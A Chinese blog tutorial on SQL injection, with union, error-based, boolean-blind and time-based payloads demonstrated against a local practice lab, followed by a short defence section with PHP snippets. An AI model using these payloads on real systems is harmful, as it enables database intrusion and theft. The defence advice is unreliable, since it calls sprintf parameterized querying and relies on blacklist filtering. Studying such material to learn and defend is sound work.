SQL注入

sql注入

sql 注入原理

针对 SQL 的攻击行为可以描述为通过用户可控参数中注入 SQL 语法,破坏原有 SQL 结构,达到编写程序时意料之外结果的攻击行为,其成因可以归结为以下两个原因叠加造成的:

1、程序编写者在处理程序和数据库交互时,使用字符串拼接的方式构造 SQL 语句。

2、未对用户可控参数进行足够的过滤,便便将参数内容拼接到 SQL 语句中。

可能存在的位置

根据 SQL 注入漏洞的原理,在用户的“可控参数”中注入 SQL 语法,也就是说 Web 应用在

获取用户数据的地方,只要带入数据库查询,都有可能存在 SQL 注入的可能,这些地方通常

包括:

GET 数据

POST 数据

cookie 数据

分类

数字型 参数两边没有单双引号。

字符型 参数两边有单双引号。

判断

当 id=2-1 回显出 id=1 的值,就为数字型

image

sql 注入利用

联合查询

联合查询是最常用的 SQL 注入手法,有两个要求:一是字段数相同,二是数据类型相同。

联合查询可以跨库,跨表查询。

注入点的判断

?id=33 ?id=34 ?id=32 ?id=33'

判断列(字段)数

?id=1' order by 1 正常

?id=1' order by 2 正常

...

?id=1' order by n 不正常

说明当前表中有(n-1) 列。

image

利用回显

?id=111' union select 1,2,3

?id=1' and 1=2 union select 1,2,3

注入数据库名称

?id=111‘ union select database(),version(),3--+

image

表名

?id=1 and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()

字段名

?id=111 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema=database()

结论:能够对列数进行判断,有回显,可以考虑用联合查询。

报错注入

在注入点的判断过程中,发现数据库中 SQL 语句的报错信息,会显示在页面中,因此可以进

行报错注入。

注意:错误信息来自于 数据库 、 中间件 还是 Web 容器 。

extractvalue()

and extractvalue(1,concat(0x5e,(select database()),0x5e)) --+
image

布尔盲注

利用页面的布尔类型状态来进行判断,⽬标获取数据库名字。

计算数据库名字的长度

?id=1' and length(database())=8--+
image

?id=2' and ascii(substr(database(),1,1))=115 --+
# 115
# s
?id=2' and ascii(substr(database(),2,1))=101 --+
# 115 101
# s e

延时注入

http://127.0.0.1/sqllib/Less-8/?id=1'and If(ascii(substr(database(),1,1))=115,sleep(5),1)--+

利用 sleep() 语句的延时性,以时间线作为判断条件。

计算数据库名字的长度

?id=3' and if(length(database())=8,sleep(5),1)--+
image

sql防御

1)使用preg_replace正则匹配输入数据中的单双引号,并替换为空,使sql语句无法从外部闭合,保证sql语句的完整新不被破坏掉
2) 使用str_replace,匹配输入数据中的一些特殊字符串,像”select,union,where等”,同时使用stristr忽略大小写,并将这些非法字符串替换为一个点,能够有效防御sql注入,同时还能防御双写等注入手法
3) 采用参数化查询,使用sprintf使用户输入的参数中的特殊符号转义为普通字符,不会被作为特殊符号打乱原有sql语句。

<?php
$mysqli = new mysqli("localhost", "root", "root", "dvwa");

$sqli = "a'b\"c";
$safeinsert = preg_replace("/[\'\"]+/", '', $sqli);
$safeinsert = str_replace("select", "", $id);
echo $safeinsert;

$name = "Jack";
$age = 30;
$gender = "male";
$sentence = sprintf("My name is %s. I am %d years old and I am a %s.", $name, $age, $gender);

echo $sentence;


$mysqli = new mysqli("localhost", "root", "root", "pikachu");
$id="111'";
$query=sprintf("select * from users where id='%s'",mysqli_real_escape_string($mysqli,$id));
echo $query;

?>
posted @   i苏沐辰  阅读(43)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· winform 绘制太阳,地球,月球 运作规律
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 上周热点回顾(3.3-3.9)
点击右上角即可分享
微信分享提示